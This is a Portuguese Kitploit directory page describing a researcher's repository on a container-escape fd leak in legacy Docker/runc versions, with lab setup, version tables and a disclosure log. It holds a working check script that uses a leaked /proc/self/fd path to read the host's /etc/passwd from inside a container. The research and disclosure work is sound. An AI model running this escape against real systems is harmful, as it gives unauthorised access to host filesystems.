Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-21626-old-docker-versions — Analisa e explora uma vulnerabilidade de escape de contêiner em versões legadas de Docker/runc, demonstrando vazamento de fd para acessar o sistema de arquivos do host, com scripts de configuração e teste. | Kitploit
Ferramentas/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoEscape de ContêinerLabs e Prática
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Analisa e explora uma vulnerabilidade de escape de contêiner em versões legadas de Docker/runc, demonstrando vazamento de fd para acessar o sistema de arquivos do host, com scripts de configuração e teste.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
6há 1 anoAinda não revisado

Vulnerabilidade de escape de contêiner em componentes antigos do runc (CVE-2024-21626)

Durante minha análise sobre CVE-2024-21626 descobri que outros componentes antigos do Docker são vulneráveis a vazamento de fd (que não é mencionado no aviso de segurança GHSA-xr7r-f8xq-vfvv). Leia meu artigo completo para uma explicação detalhada aqui.

1. Configurar ambiente 🔨

A. Baixar e instalar a versão Ubuntu 18.04.6 LTS (Bionic Beaver)

Durante a instalação, não marque a opção para baixar atualizações do sistema.

B. Instalar a versão vulnerável do Docker e componentes relacionados

  • Acesse https://download.docker.com/linux/static/stable/x86_64/ e baixe a versão antiga docker-X.Y.Z-ce.tgz para testar

  • Extraia, copie o conteúdo para o caminho /usr/bin e execute o daemon do Docker.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Verificar as versões instaladas

root@kitploit:~
sudo docker version
containerd --version
uname -r

Nas versões antigas, temos docker-runc em vez de runc. Portanto, verifique:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Verifique a versão do doker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Verificar se o alvo está vulnerável e encontrar o fd correto 🧐

Execute checkVulnerability.sh e veja se o arquivo é impresso no terminal

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Para este exemplo, usei a versão docker-17.03.1-ce. check vulnerability & find fd

3. Tentar o exploit 🔫

Para este exemplo, usei a versão docker-17.03.1-ce.

exploit

4. Resultados dos testes 🧪

Abaixo estão os resultados da minha análise, organizados por versão do Docker e a versão associada do runc utilizada.

docker-runc

runc

Versão do DockerVersão do runcNúmero do fd vazado
docker-18.09.0.tgz1.0.0-rc5+dev❌

Aqui está a captura de tela mostrando as três diferentes versões vulneráveis.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Assim como no CVE-2024-21626, os diferentes tipos de ataques ainda são possíveis.

5. Conclusão e lições aprendidas 🔚

Esta vulnerabilidade é bastante diferente do CVE-2024-21626 porque:

  1. Pode ser acionada em versões antigas do Linux que não possuem a chamada de sistema openat2.
  2. O descritor de arquivo vazado está localizado no caminho /run/runc/<container>/, que contém o estado dos contêineres em execução, em vez do diretório /sys/fs/cgroup do host.

O que descobri é que versões antigas também são vulneráveis à mesma técnica de ataque. Embora a vulnerabilidade em si seja diferente, o resultado é o mesmo: obter acesso ao sistema de arquivos do host. A principal lição é não confiar apenas em avisos de segurança - teste tudo minuciosamente. Entenda completamente o CVE, como ele funciona, experimente em um ambiente seguro e explore casos extremos.

6. Divulgação responsável 🕺🏻

Tentei contatar [email protected], [email protected] e tentar abrir um CVE. Recebi as seguintes respostas:

Baixar ferramenta
Versão do DockerVersão do docker-runcNúmero do fd vazado
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
SolicitaçãoResposta
[email protected] (19/03/24)As versões que você listou são todas versões EOL do software (~7 anos) e não são mais corrigidas ou mantidas pela Docker. Se você tiver uma preocupação com as versões ou a redação listadas no aviso existente GHSA-xr7r-f8xq-vfvv ("versões afetadas: >= 1.0.0-rc93, <= 1.1.11"), o canal correto para relatar deve ser a caixa postal de segurança do OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md Obrigado por entrar em contato. Informe-nos se houver mais alguma coisa que possamos fazer.
[email protected] (20/03/24)sem resposta
CVE-MITRE (15/05/2024)Normalmente não atribuímos IDs CVE a problemas que existem apenas em candidatos a lançamento. https://www.cve.org/CVERecord?id=CVE-2024-21626 afetou versões lançadas do runc, como a versão 1.1.11.